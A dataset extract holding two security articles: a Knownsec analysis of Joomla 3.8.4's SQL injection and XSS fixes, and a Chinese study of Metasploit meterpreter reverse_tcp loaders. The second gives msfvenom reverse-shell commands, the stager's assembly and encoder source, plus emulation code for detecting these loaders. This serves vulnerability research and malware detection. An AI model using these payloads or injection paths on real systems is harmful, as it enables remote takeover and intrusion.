text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
**Author：LoRexxar'@Knownsec 404 Team**
**Date: Feburary 7, 2018**
**Chinese Version:<https://paper.seebug.org/529/>**
On January 30, 2018, Joomla updated version 3.8.4. This update fixes 4
security vulnerabilities and hundreds of bug.
<https://www.joomla.org/announcements/release-news/5723-joomla-3-8-4-release.html>
For the vulnerability emergency, I spent a lot of time analyzing the causes,
finding the location and backtracking the logic of these vulnerabilities. The
following article is rather my thinking than analysis and I hope it may give
you some inspiration.
#### Background
Four of these security vulnerabilities include
- Low Priority - Core - XSS vulnerability in module chromes (affecting Joomla 3.0.0 through 3.8.3)
- Low Priority - Core - XSS vulnerability in com_fields (affecting Joomla 3.7.0 through 3.8.3)
- Low Priority - Core - XSS vulnerability in Uri class (affecting Joomla 1.5.0 through 3.8.3)
- Low Priority - Core - SQLi vulnerability in Hathor postinstall message (affecting Joomla 3.7.0 through 3.8.3)
According to the update, I went to the Joomla project on github and looked for
the corresponding fix. The four security vulnerabilities were updated at the
same time as the release version of 3.8.4.
<https://github.com/joomla/joomla-cms/commit/0ec372fdc6ad5ad63082636a0942b3ea39acc7b7>
We can know about the vulnerability through the simple description in the
patch and the details. Then we can use the information to trace back the cause
of the vulnerability.
#### SQLi Vulnerability in Hathor Postinstall Message
<https://developer.joomla.org/security-centre/722-20180104-core-sqli-vulnerability.html>
Description
The lack of type casting of a variable in SQL statement leads to a SQL injection vulnerability in the Hathor postinstall message.
Affected Installs
Joomla! CMS versions 3.7.0 through 3.8.3
##### Analysis of the Patch
The first vulnerability shows that in the postinstall of Hathor, the injection
is caused by the incorrect type conversion.
Let's take a look at the corresponding patch.
The point that matches the description of the vulnerability is here. Taking
the first bit has been changed to forcing type conversion, and then be spliced
into the sql statement.
We assume that we can control `$adminstyle`. If we set its format to array by
passing in an array, and its first string is controllable, then this can cause
vulnerability.
Now we need to find the location of this function, backtrack the variable and
judge whether it is controllable.
##### Find the Location of the Vulnerability
Hathor is one of the two background templates that comes with Joomla. Since
Hathor's update iteration is not as fast as Isis's, some functions will be
missing. So after the installation, we need to set the template as Isis
manually.
Templates->styles->adminnistrator->hathor
Go back to the home page and the postinstallation message is on the right.
##### Backtracking
Back in the code, we need to find the place where the `$$adminstyle` variable
enters.
$adminstyle = $user->getParam('admin_style', '');
Here the user is `JFactory::getUser()`. Follow up the getParam method.
/libraries/src/User/User.php line 318
public function getParam($key, $default = null)
{
return $this->_params->get($key, $default);
}
The `$this->_params` is from `$this->_params = new Registry;`
Follow up the 'get' method of Registry.
libraries/vendor/joomla/registry/src/Registry.php line 201
public function get($path, $default = null)
{
// Return default value if path is empty
if (empty($path))
{
return $default;
}
if (!strpos($path, $this->separator))
{
return (isset($this->data->$path) && $this->data->$path !== null && $this->data->$path !== '') ? $this->data->$path : $default;
}
// Explode the registry path into an array
$nodes = explode($this->separator, trim($path));
// Initialize the current node to be the registry root.
$node = $this->data;
$found = false;
// Traverse the registry to find the correct node for the result.
foreach ($nodes as $n)
{
if (is_array($node) && isset($node[$n]))
{
$node = $node[$n];
$found = true;
continue;
}
if (!isset($node->$n))
{
return $default;
}
$node = $node->$n;
$found = true;
}
if (!$found || $node === null || $node === '')
{
return $default;
}
return $node;
}
According to the calling method, the program will determine whether there is
adminstyle through the judgment , if not, it will return default (empty).
Then it backtracks `$this->data`. The 'data' is from `$this->data = new
\stdClass;`
You can see that `$admin_style` is read from the global variable.
The default setting is empty
`/administrator/components/com_users/models/forms/user.xml`
But we can set this up.
Operate `users->users->super user` in the backgrond to go to the settings. On
the right we can set the background template. Set to use the Hathor type
template.
By catching the package, we can see that the current account's `admin_type` is
explicitly set. This means we can set `admin_type` to any value by passing an
array.
Then enter the database operation.
`/administrator/templates/hathor/postinstall/hathormessage.php function
hathormessage_postinstall_condition`.
Visite post_install page and trigger it.
#### XSS vulnerability in com_fields
<https://developer.joomla.org/security-centre/720-20180102-core-xss-vulnerability.html>
Description
Inadequate input filtering in com_fields leads to a XSS vulnerability in multiple field types, i.e. list, radio and checkbox.
Affected Installs
Joomla! CMS versions 3.7.0 through 3.8.3
##### Patch Analysis
There is enough details of the vulnerability, but the patch is rather vague.
We could guess that when the inserted field type is list, radio, checkbox,
some of the variables are not escaped.
First we need to find the trigger point.
Operate `content->fields->new` in the background , set the type to `radio`,
add the corresponding payload at the key name.
And keep this article.
Then we can achieve the triggering.
##### Vulnerability Analysis
Because the patch was fixed in a special way, we could guess that the
textContent is used instead of nodeValue when calling. We should focus on it
when analyzing variables.
The starting point of the vulnerability is
`/administrator/components/com_fields/libraries/fieldslistplugin.php line 31`
Since we could not find where this method is called, we could analyse the
process through these triggers.
The upper side of the edit article is loaded via
`administrator/components/com_content/views/article/tmp/edit.php line 99`.
The `JLayoutHelper:render` will enter `/layouts/joomla/edit/params.php`.
And it will enter `JLayoutHelper::render('joomla.edit.fieldset',
$displayData);` in line 129.
Follow up the`/layouts/joomla/edit/fieldset.php line 16`. The code gets the
submitted custom field information by executing the `getFieldset` of the
`form`.
Follow up the `/libraries/src/Form/Form.php line 329 function getFieldset`.
Follow up the `findFieldsByFieldset` function in line 1683.
Here the program calls xml to get the data, matching it from the global xml
variable.
The option field in the global variable xml comes from the
`$option->textContent` at the time of setting, and only the `list, radio and
checkbox.` types will be processed by this function. The list type is special.
In the following processing, the custom field of the list type will be
processed twice in `/libraries/cms/html/select.php line 742 function options`,
but the radio type will not, so the vulnerability exists.
Since the entire xss vulnerability goes through lots of limitations from
insertion to triggering, it is not practical enough.
#### XSS vulnerability in Uri Class
<https://developer.joomla.org/security-centre/721-20180103-core-xss-vulnerability.html>
Description
Inadequate input filtering in the Uri class (formerly JUri) leads to a XSS vulnerability.
Affected Installs
Joomla! CMS versions 1.5.0 through 3.8.3
##### Patch Analysis
Compared to others, this vulnerability is simply not making filtering when
obtaining the system variables.
The front-end triggering method is simple, because the `script_name` is the
path to get the basic url and it will be spliced into all places related to
the link, including the introduction of js or css.
##### Exploiting
Let's take a look at the complete code.
if (strpos(php_sapi_name(), 'cgi') !== false && !ini_get('cgi.fix_pathinfo') && !empty($_SERVER['REQUEST_URI']))
{
// PHP-CGI on Apache with "cgi.fix_pathinfo = 0"
// We shouldn't have user-supplied PATH_INFO in PHP_SELF in this case
// because PHP will not work with PATH_INFO at all.
$script_name = $_SERVER['PHP_SELF'];
}
else
{
// Others
$script_name = $_SERVER['SCRIPT_NAME'];
}
static::$base['path'] = rtrim(dirname($script_name), '/\\');
Obviously, only when `$script_name = $_SERVER['PHP_SELF']`， the vulnerability
is possible to exist.
Only when **php is run by fastcgi, and cgi.fix_pathinfo = 0** can we enter
this judgment. And when the server has a problem with the resolution of the
path can we exploit the vulnerability.
http://127.0.0.1/index.php/{evil_code}/321321
--->
http://127.0.0.1/index.php
When the path can be parsed normally, `http://127.0.0.1/index.php/{evil_code}`
will be incorrectly set to the base URL and spliced into the page.
An unrestricted xss is set up.
#### XSS Vulnerability in Module Chromes
<https://developer.joomla.org/security-centre/718-20180101-core-xss-vulnerability.html>
Description
Lack of escaping in the module chromes leads to XSS vulnerabilities in the module system.
Affected Installs
Joomla! CMS versions 3.0.0 through 3.8.3
##### Patch Analysis
What is clear about the vulnerability is that `$moduleTag` is escaped during
repairing. This happened 3 times, but they were all caused by the same
variable.
This trigger is also simple. When we set the foreground template to protostar
(the default), accessing the foreground will trigger the `modChrome_well`
function.
##### Exploiting
Let's take a look at the complete code.
Obviously, the `module_tag` is output without further processing. If we can
control `module_tag`, then the vulnerability.
The problem is how to control it. In function, places that can be triggered
returns the second value passed in. I guess it is the same as `get_param`
above. If the variable is not set, return `default` value.
But I still did not find a good way to handle this, and I can only stop here
temporarily.
#### Reference
* Joomla 3.8.4 <https://www.joomla.org/announcements/release-news/5723-joomla-3-8-4-release.html>
* Joomla security patches <https://developer.joomla.org/security-centre/>
# About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# 杀软的无奈-metasploit的shellcode loader分析（三）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文主要是通过编写一些自动化的工具来分析metepreter生成的linux平台的shellcode loader，以及解释一些常用的编码器的工作过程。
**本文使用的工具是
unicorn，官方版本没有执行SMC代码的能力(已经在修了)，推荐暂时使用个人patch版本<https://github.com/wonderkun/unicorn>**
## 无编码器的metepreter shellcode loader
首先生成一个metepreter后门，然后用IDA分析一下。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.7.34 LPORT=4444 -f elf > tese.elf
ida看一下生成的代码如下：
ida虽然对一些syscall进行了注释，但是rax被动态赋值的时候调用syscall，IDA就无能为力了，所以接下来要基于unicorn写模拟执行工具，来进行分析。
### 0x01 加载ELF文件
首先先来解析ELF文件，获取可执行的segment的代码，进行加载。这一步不一定有必要做，因为你可以直接模拟执行shellcode，也可以使用IDApython直接提取代码来分析。但是我还是希望能够直接分析ELF文件，并且不依赖于IDA的辅助，所以从最基础的部分开始做起。
class ELF(object):
def __init__(self,path):
self.path = path
self.fd = open(self.path,"rb")
def delete(self):
# 需要手工调用，否则会产生文件占用
if self.fd:
self.fd.close()
def getFileHeader(self):
elfhdr = {}
'''
#define EI_NIDENT 16
typedef struct {
unsigned char e_ident[EI_NIDENT];
Elf32_Half e_type;
Elf32_Half e_machine;
Elf32_Word e_version;
Elf32_Addr e_entry;
Elf32_Off e_phoff;
Elf32_Off e_shoff;
Elf32_Word e_flags;
Elf32_Half e_ehsize;
Elf32_Half e_phentsize;
Elf32_Half e_phnum;
Elf32_Half e_shentsize;
Elf32_Half e_shnum;
Elf32_Half e_shstrndx;
} Elf32_Ehdr;
typedef struct {
unsigned char e_ident[EI_NIDENT];
Elf64_Half e_type;
Elf64_Half e_machine;
Elf64_Word e_version;
Elf64_Addr e_entry;
Elf64_Off e_phoff;
Elf64_Off e_shoff;
Elf64_Word e_flags;
Elf64_Half e_ehsize;
Elf64_Half e_phentsize;
Elf64_Half e_phnum;
Elf64_Half e_shentsize;
Elf64_Half e_shnum;
Elf64_Half e_shstrndx;
} Elf64_Ehdr;
'''
elfident = self.fd.read(16)
if len(elfident) !=16:
return {}
# print( [ ord(i) for i in elfident] )
magic = [ ord(i) for i in elfident]
if magic[4] == 1:
# ELF 32
packStr = "<2H5I6H"
elfhdr["mode"] = 32
elif magic[4] == 2:
# ELF 64
packStr = "<2HI3QI6H"
elfhdr["mode"] = 64
else:
# Data
return {}
temp = self.fd.read(struct.calcsize( packStr ))
temp = struct.unpack(packStr,temp)
elfhdr['magic'] = magic
elfhdr['e_type']= temp[0]
elfhdr['e_machine'] = temp[1]
elfhdr['e_version'] = temp[2]
elfhdr['e_entry'] = temp[3]
elfhdr['e_phoff'] = temp[4]
elfhdr['e_shoff'] = temp[5]
elfhdr['e_flags'] = temp[6]
elfhdr['e_ehsize'] = temp[7]
elfhdr['e_phentsize'] = temp[8]
elfhdr['e_phnum'] = temp[9]
elfhdr['e_shentsize'] = temp[10]
elfhdr['e_shnum'] = temp[11]
elfhdr['e_shstrndx'] = temp[12]
return elfhdr
def hasNoSectionInfo(self,elfhdr ):
if not elfhdr:
return False
if elfhdr["e_shoff"] == 0 and \
elfhdr["e_shnum"] == 0:
return True
return False
# print(elfhdr["e_shoff"])
# print( elfhdr["e_shnum"] )
# print( elfhdr["e_shentsize"] )
def readProgramHeader(self,elfhdr):
headerSize = elfhdr["e_ehsize"]
self.fd.seek(headerSize)
'''
typedef struct {
Elf32_Word p_type;
Elf32_Off p_offset;
Elf32_Addr p_vaddr;
Elf32_Addr p_paddr;
Elf32_Word p_filesz;
Elf32_Word p_memsz;
Elf32_Word p_flags;
Elf32_Word p_align;
} Elf32_Phdr;
typedef struct {
Elf64_Word p_type;
Elf64_Word p_flags;
Elf64_Off p_offset;
Elf64_Addr p_vaddr;
Elf64_Addr p_paddr;
Elf64_Xword p_filesz;
Elf64_Xword p_memsz;
Elf64_Xword p_align;
} Elf64_Phdr;
'''
if elfhdr["mode"] == 32:
packStr = "<8I"
elif elfhdr["mode"] == 64:
packStr = "<2I6Q"
phentsize = elfhdr["e_phentsize"]
phnum = elfhdr["e_phnum"]
if struct.calcsize( packStr ) != phentsize :
return []
assert( phnum >= 1 )
phHeaders = []
for i in range(phnum):
# 循环读取所有的段表
phHeader = {}
temp = self.fd.read(struct.calcsize( packStr ))
if struct.calcsize( packStr ) != len(temp):
continue
temp = struct.unpack(packStr,temp)
if elfhdr["mode"] == 32:
phHeader["p_type"] = temp[0]
phHeader["p_offset"] = temp[1]
phHeader["p_vaddr"] = temp[2]
phHeader["p_paddr"] = temp[3]
phHeader["p_filesz"] = temp[4]
phHeader["p_memsz"] = temp[5]
phHeader["p_flags"] = temp[6]
phHeader["p_align"] = temp[7]
elif elfhdr["mode"] == 64:
phHeader["p_type"] = temp[0]
phHeader["p_flags"] = temp[1]
phHeader["p_offset"] = temp[2]
phHeader["p_vaddr"] = temp[3]
phHeader["p_paddr"] = temp[4]
phHeader["p_filesz"] = temp[5]
phHeader["p_memsz"] = temp[6]
phHeader["p_align"] = temp[7]
phHeaders.append( phHeader )
return phHeaders
def getFirstCode(self,elfhdr,phHeaders):
# 读取第一个 包含入口地址 并且可加载，可执行的段的数据
entryPoint = elfhdr["e_entry"]
PT_LOAD = 1
PF_X = 0x1
PF_W = 0x2
PF_R = 0x4
firstPh = None
# print(phHeaders)
for phHeader in phHeaders:
if not ( entryPoint >= phHeader["p_vaddr"] and entryPoint < (phHeader["p_vaddr"]+phHeader["p_filesz"]) ):
continue
if phHeader["p_type"] == PT_LOAD and\
(phHeader["p_flags"] & (PF_X)):
# rwx
firstPh = phHeader
# print(firstPh)
if firstPh:
fileOff = entryPoint - firstPh["p_vaddr"] + phHeader["p_offset"]
size = phHeader["p_filesz"] - ( entryPoint - firstPh["p_vaddr"] )
if fileOff < 0 or size < 0 :
# invalid entry point
return None,None
self.fd.seek(fileOff)
imageBase = firstPh["p_vaddr"]
return imageBase,self.fd.read( size )
return None,None
然后从entryPoint开始进行模拟执行。
class SimpleEngine:
def __init__(self, mode):
if mode == 32:
cur_mode = CS_MODE_32
elif mode == 64:
cur_mode = CS_MODE_64
else:
cur_mode = CS_MODE_16
self.capmd = Cs(CS_ARCH_X86, cur_mode)
def disas_single(self, data, addr):
for i in self.capmd.disasm(data, addr):
print(" 0x%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str))
break
def disas_all(self, data, addr):
for i in self.capmd.disasm(data, addr):
print(" 0x%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str))
def hook_code(uc, addr, size, user_data):
mem = uc.mem_read(addr, size)
uc.disasm.disas_single(mem, addr)
# if debug:
# print("r10:{}".format( hex(uc.reg_read( UC_X86_REG_R10 ) ) ))
# print("rcx:{}".format( uc.reg_read( UC_X86_REG_RCX ) ) )
# print("rdx:{}".format( uc.reg_read( UC_X86_REG_RDX ) ) )
return True
def main(bin_code,mode,imageBase,entryPoint,max_instruction=0):
global write_bounds
global debug
debug = True
tags = []
write_bounds = [None, None]
disas_engine = SimpleEngine(mode)
if mode == 32:
cur_mode = UC_MODE_32
elif mode == 64:
cur_mode = UC_MODE_64
else:
cur_mode = UC_MODE_16
PAGE_SIZE = 6 * 1024 * 1024
START_RIP = entryPoint
# setup engine and write the memory there.
emu = Uc(UC_ARCH_X86, cur_mode)
emu.disasm = disas_engine # python is silly but it works.
# print( hex(imageBase),PAGE_SIZE,mode )
emu.mem_map(imageBase, PAGE_SIZE)
# write machine code to be emulated to memory
emu.mem_write(START_RIP, bin_code)
# write a INT 0x3 near the end of the code blob to make sure emulation ends
emu.mem_write(START_RIP + len(bin_code) + 0xff, b"\xcc\xcc\xcc\xcc")
if debug:
# emu.hook_add(UC_HOOK_MEM_READ, hook_mem_read)
emu.hook_add(UC_HOOK_CODE, hook_code)
# arbitrary address for ESP.
stackBase = imageBase + PAGE_SIZE - 1*1024 * 1024
emu.reg_write(UC_X86_REG_ESP,stackBase)
if max_instruction:
end_addr = -1
else:
max_instruction = 0x1000
end_addr = len(bin_code)
try:
emu.emu_start(START_RIP, end_addr, 0, int(max_instruction))
# except UC_ERR_READ_UNMAPPED as e:
# # print("ERROR: %s" % e)
# pass
except UcError as e:
if e.errno != UC_ERR_READ_UNMAPPED:
print("ERROR: %s" % e)
else:
if debug:
print("rcx:{}".format( emu.reg_read( UC_X86_REG_RCX ) ) )
print("rbp:{}".format( emu.reg_read( UC_X86_REG_RBP ) ) )
执行一下，就可以dump出来当前分支的所有代码，但是现在还并没有处理syscall，接下里需要添加syscall的hook，来dump
syscall的参数来方便分析。
### 0x02 syscall 参数的处理
x86_64 的syscall调用的系统调用号、参数、和系统调用号可以参考文档
<https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md>。
接下里进行 syscall的hook，编写如下类：
class HookSyscall(object):
def __init__(self):
self.c2Server = None
self.protectAddr = 0
self.writeAddr = 0
self.addrLen = 0
self.dupList = set() # dup2
def ip2Str(self,num):
s = []
for i in range(4):
s.append(str( num%256 ))
num //= 256
return '.'.join(s[::-1])
def __call__(self,uc,user_data):
# pass
rax = uc.reg_read(UC_X86_REG_RAX)
rdi = uc.reg_read(UC_X86_REG_RDI)
rsi = uc.reg_read(UC_X86_REG_RSI)
rdx = uc.reg_read(UC_X86_REG_RDX)
r10 = uc.reg_read(UC_X86_REG_R10)
r8 = uc.reg_read(UC_X86_REG_R8)
r9 = uc.reg_read(UC_X86_REG_R9)
if debug:
print( "[*] rax:\t{},rdi:\t{},rsi:\t{},rdx:\t{},r10:\t{}".format(
hex(rax),rdi,rsi,rdx,r10
) )
if rax == 0x09:
# # syscall mmap
# if debug:
# print("[-] mmap")
PROT_EXEC = 0x04
PROT_WRITE = 0x02
if rdx & PROT_EXEC and rdx & PROT_WRITE:
# 返回一个地址
rip = uc.reg_read(UC_X86_REG_RIP)
self.protectAddr = (rip >> 12 << 12) + 4*0x1000
self.addrLen = rsi
if debug:
print("[-] mmap size: {},permit: {} , addr: {} ".format( rsi,rdx & 0b111,self.protectAddr ))
uc.reg_write(UC_X86_REG_RAX,self.protectAddr)
return
if rax == 0x2b:
if debug:
print("[-] listen")
uc.reg_write(UC_X86_REG_RAX,0)
return
if rax == 0x29:
if debug:
print("[-] socket")
return
if rax == 0x21:
if debug:
print("[-] dup2 , {}->{}".format( rdi, rsi))
self.dupList.add( rsi )
if rax == 0x2a or rax == 0x31:
if debug:
print("[-] connect or bind!")
sockaddr_in_addr = rsi
sockaddr_in_str = ">2HI"
tmp = uc.mem_read(sockaddr_in_addr, struct.calcsize(sockaddr_in_str) )
sockaddr_in = struct.unpack(sockaddr_in_str,tmp)
# print(tmp)
uc.reg_write(UC_X86_REG_RAX,0x0)
# print(sockaddr_in)
port = sockaddr_in[1]
addr = self.ip2Str(sockaddr_in[2])
if debug:
print("[-] c2 Server {}:{}".format( addr,port ))
self.c2Server = "{}:{}".format(addr,port)
return
if rax == 0x00:
print("[-] read")
self.writeAddr = rsi
uc.reg_write(UC_X86_REG_RAX,0)
return
# if rax ==
uc.reg_write(UC_X86_REG_RAX,0)
return True
添加hook:
hookSyscall = HookSyscall()
emu.hook_add(UC_HOOK_INSN, hookSyscall, None, 1, 0, UC_X86_INS_SYSCALL)
然后运行，就可以看到监控到的syscall参数：
0x40008d: syscall
[*] rax: 0x9L,rdi: 0,rsi: 4096,rdx: 4103,r10: 34
[-] mmap size: 4096,permit: 7 , addr: 4210688
...
0x4000a3: syscall
[*] rax: 0x29L,rdi: 2,rsi: 1,rdx: 0,r10: 34
[-] socket
...
0x4000c0: syscall
[*] rax: 0x2aL,rdi: 41,rsi: 9437168,rdx: 16,r10: 34
[-] connect or bind!
[-] c2 Server 192.168.7.34:4444
...
0x4000f1: syscall
[*] rax: 0x0L,rdi: 41,rsi: 4210688,rdx: 126,r10: 34
[-] read
0x4000f3: test rax, rax
0x4000f6: js 0x4000e5
0x4000f8: jmp rsi
可以看到加载远程的shellcode主要分为五个步骤:
1. mmap 申请一块rwx权限的内存空间,地址为A
2. socket 创建一个socket
3. connect 连接一个socket
4. read 读取远程数据写到A
5. jmp A 执行代码
整个过程还是比较简单的。
## 编码器的执行过程分析
metepreter 的二进制编码器都是使用SMC代码来实现恶意代码的隐藏，本文使用效果excellent的编码器 `x86/shikata_ga_nai`
进行示例，接下里的代码一定要使用我patch过的unicorn才能获得预期的效果。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.7.34 LPORT=4444 -e x86/shikata_ga_nai -i 1 -f elf > tese_encoder.elf
看一下生成的代码:
很明显:
LOAD:000000000040007D fcmovb st, st(2)
LOAD:000000000040007F fnstenv [rsp+var_C]
LOAD:0000000000400083 pop rbx
获取了下一条指令的地址(当前的RIP)存储在了rbx中，然后调整偏移和esi异或来进行代码修改：
LOAD:0000000000400084 sub ecx, ecx
LOAD:0000000000400086 mov cl, 21h ; '!'
LOAD:0000000000400088 sub ebx, 0FFFFFFFCh
LOAD:000000000040008B xor [rbx+10h], esi
经过测试，此编码器每次生成的密钥都不同，也就是这条指令`mov esi, 0EF034529h`，剩下的流程都是一样的，包括需要解密的长度，一直都是
`mov cl, 21h`。
仅依靠静态来识别此编码器还是比较简单的，但是想要识别编码器的混用或者自定义的编码器，静态可能就力不从心了，所以我们下面写代码来识别出这种自修改代码。
# 添加如下hook函数
emu.hook_add(UC_HOOK_MEM_WRITE, hook_smc_check)
write_bounds = [None, None]
def hook_smc_check(uc, access, address, size, value, user_data):
SMC_BOUND = 0x200
rip = uc.reg_read(UC_X86_REG_RIP)
# Just check if the write target addr is near EIP
if abs(rip - address) < SMC_BOUND:
if write_bounds[0] == None:
write_bounds[0] = address
write_bounds[1] = address
elif address < write_bounds[0]:
write_bounds[0] = address
elif address > write_bounds[1]:
write_bounds[1] = address
if write_bounds[0] != None:
# print("Shellcode address ranges:")
# print(" low: 0x%X" % write_bounds[0])
# print(" high: 0x%X" % write_bounds[1])
# print("")
# print("Decoded shellcode:")
mem = emu.mem_read(write_bounds[0], (write_bounds[1] - write_bounds[0]))
emu.disasm.disas_all(mem, write_bounds[0])
这样就会完整的dump修改之后的代码，这个修改后的代码和之前生成的代码是相同的。x86系统调用的是`int 80`中断，其实原理都是一样的，
所以不再赘述。到这里基本的原理和代码都已经讲完了，随便自己再完善一下就可以实现metasploit生成的后门的模拟执行检测了。
## Metasploit生成shellcode的过程
### payload
`msfvenom` 文件的路径在 `metasploit-framework/embedded/framework/msfvenom`,跟踪这个文件的中的执行流程，当 payload 为
`linux/x86/meterpreter/reverse_tcp` 会执行到文件 `metasploit-framework/embedded/framework/lib/msf/core/payload/linux/reverse_tcp_x86.rb`。
* 函数 `asm_reverse_tcp` 就是生成 shellcode 主函数
def asm_reverse_tcp(opts={})
# TODO: reliability is coming
retry_count = opts[:retry_count]
encoded_port = "0x%.8x" % [opts[:port].to_i, 2].pack("vn").unpack("N").first
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
seconds = (opts[:sleep_seconds] || 5.0)
sleep_seconds = seconds.to_i
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
mprotect_flags = 0b111 # PROT_READ | PROT_WRITE | PROT_EXEC
获取重试次数、sleep时间，反弹地址和端口等参数信息。
if respond_to?(:generate_intermediate_stage)
pay_mod = framework.payloads.create(self.refname)
puts "datastore:",datastore,"\n"
payload = pay_mod.generate_stage(datastore.to_h)
# puts "payload:#{payload.split(//).each {|e|;print (e.unpack('H*').to_s)}}"
read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size
elsif !module_info['Stage']['Payload'].empty?
read_length = module_info['Stage']['Payload'].size
else
# If we don't know, at least use small instructions
read_length = 0x0c00 + mprotect_flags
end
此代码只是为了计算下一个控制阶段所要使用的 shellcode 的长度，在这里生成的shellcode不会在本次loader阶段下发。
接着就是 shellcode :
asm = %Q^
push #{retry_count} ; retry counter
pop esi
create_socket:
xor ebx, ebx
mul ebx
push ebx
inc ebx
push ebx
push 0x2
mov al, 0x66
mov ecx, esp
int 0x80 ; sys_socketcall (socket())
xchg eax, edi ; store the socket in edi
set_address:
pop ebx ; set ebx back to zero
push #{encoded_host}
push #{encoded_port}
mov ecx, esp
try_connect:
push 0x66
pop eax
push eax
push ecx
push edi
mov ecx, esp
inc ebx
int 0x80 ; sys_socketcall (connect())
test eax, eax
jns mprotect
handle_failure:
dec esi
jz failed
push 0xa2
pop eax
push 0x#{sleep_nanoseconds.to_s(16)}
push 0x#{sleep_seconds.to_s(16)}
mov ebx, esp
xor ecx, ecx
int 0x80 ; sys_nanosleep
test eax, eax
jns create_socket
jmp failed
^
asm << asm_send_uuid if include_send_uuid
asm << %Q^
mprotect:
mov dl, 0x#{mprotect_flags.to_s(16)}
mov ecx, 0x1000
mov ebx, esp
shr ebx, 0xc
shl ebx, 0xc
mov al, 0x7d
int 0x80 ; sys_mprotect
test eax, eax
js failed
recv:
pop ebx
mov ecx, esp
cdq
mov #{read_reg}, 0x#{read_length.to_s(16)}
mov al, 0x3
int 0x80 ; sys_read (recv())
test eax, eax
js failed
jmp ecx
failed:
mov eax, 0x1
mov ebx, 0x1 ; set exit status to 1
int 0x80 ; sys_exit
^
asm
这个代码之前就分析过，这里看起来就非常熟悉了。
### encoder
上一步是生成 payload, 接下来这一步就是利用 encoder 对 payload 进行编码，
encoder `x86/shikata_ga_nai` 的代码路径是 `metasploit-framework/embedded/framework/modules/encoders/x86/shikata_ga_nai.rb`:
函数 `decoder_stub` 是关键，主要作用是生成 shellcode 解码的头部:
def decoder_stub(state)
# If the decoder stub has not already been generated for this state, do
# it now. The decoder stub method may be called more than once.
if (state.decoder_stub == nil)
# Sanity check that saved_registers doesn't overlap with modified_registers
if (modified_registers & saved_registers).length > 0
raise BadGenerateError
end
# Shikata will only cut off the last 1-4 bytes of it's own end
# depending on the alignment of the original buffer
cutoff = 4 - (state.buf.length & 3)
block = generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)
# Set the state specific key offset to wherever the XORK ended up.
state.decoder_key_offset = block.index('XORK')
# Take the last 1-4 bytes of shikata and prepend them to the buffer
# that is going to be encoded to make it align on a 4-byte boundary.
state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf
# Cache this decoder stub. The reason we cache the decoder stub is
# because we need to ensure that the same stub is returned every time
# for a given encoder state.
state.decoder_stub = block
end
state.decoder_stub
end
先不看 `generate_shikata_block` 函数的实现，先打印一下 `block` 内容和最后生成的 elf 文件：
block: "\xDB\xCB\xBFXORK\xD9t$\xF4]3\xC9\xB1\x1F1}\x1A\x83\xED\xFC\x03}\x16\xE2\xF5"
可以看到 `block` 的代码就是 `fpu` 和 getPC 功能的代码，其中 `XORK` 就是最后的解密密钥，这个值是动态变化的，保证每次都不相同。
但是这样的一个解密的头部，其实还是存在一个很固定的形式的，来看 `generate_shikata_block` 的代码：
count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')
addr_reg = Rex::Poly::LogicalRegister::X86.new('addr')
key_reg = nil
if state.context_encoding
key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
else
key_reg = Rex::Poly::LogicalRegister::X86.new('key')
end
# Declare individual blocks
endb = Rex::Poly::SymbolicBlock::End.new
# Clear the counter register
clear_register = Rex::Poly::LogicalBlock.new('clear_register',
"\x31\xc9", # xor ecx,ecx
"\x29\xc9", # sub ecx,ecx
"\x33\xc9", # xor ecx,ecx
"\x2b\xc9") # sub ecx,ecx
`ecx` 中存储是接下来要进行解密的长度，所以需要先清空 `ecx`,清空的指令是从这几条指令中任选一条。
if (length <= 255)
init_counter.add_perm("\xb1" + [ length ].pack('C'))
elsif (length <= 65536)
init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
else
init_counter.add_perm("\xb9" + [ length ].pack('V'))
end
# Key initialization block
init_key = nil
# If using context encoding, we use a mov reg, [addr]
if state.context_encoding
init_key = Rex::Poly::LogicalBlock.new('init_key',
Proc.new { |b| (0xa1 + b.regnum_of(key_reg)).chr + 'XORK'})
# Otherwise, we do a direct mov reg, val
else
init_key = Rex::Poly::LogicalBlock.new('init_key',
Proc.new { |b| (0xb8 + b.regnum_of(key_reg)).chr + 'XORK'})
end
xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
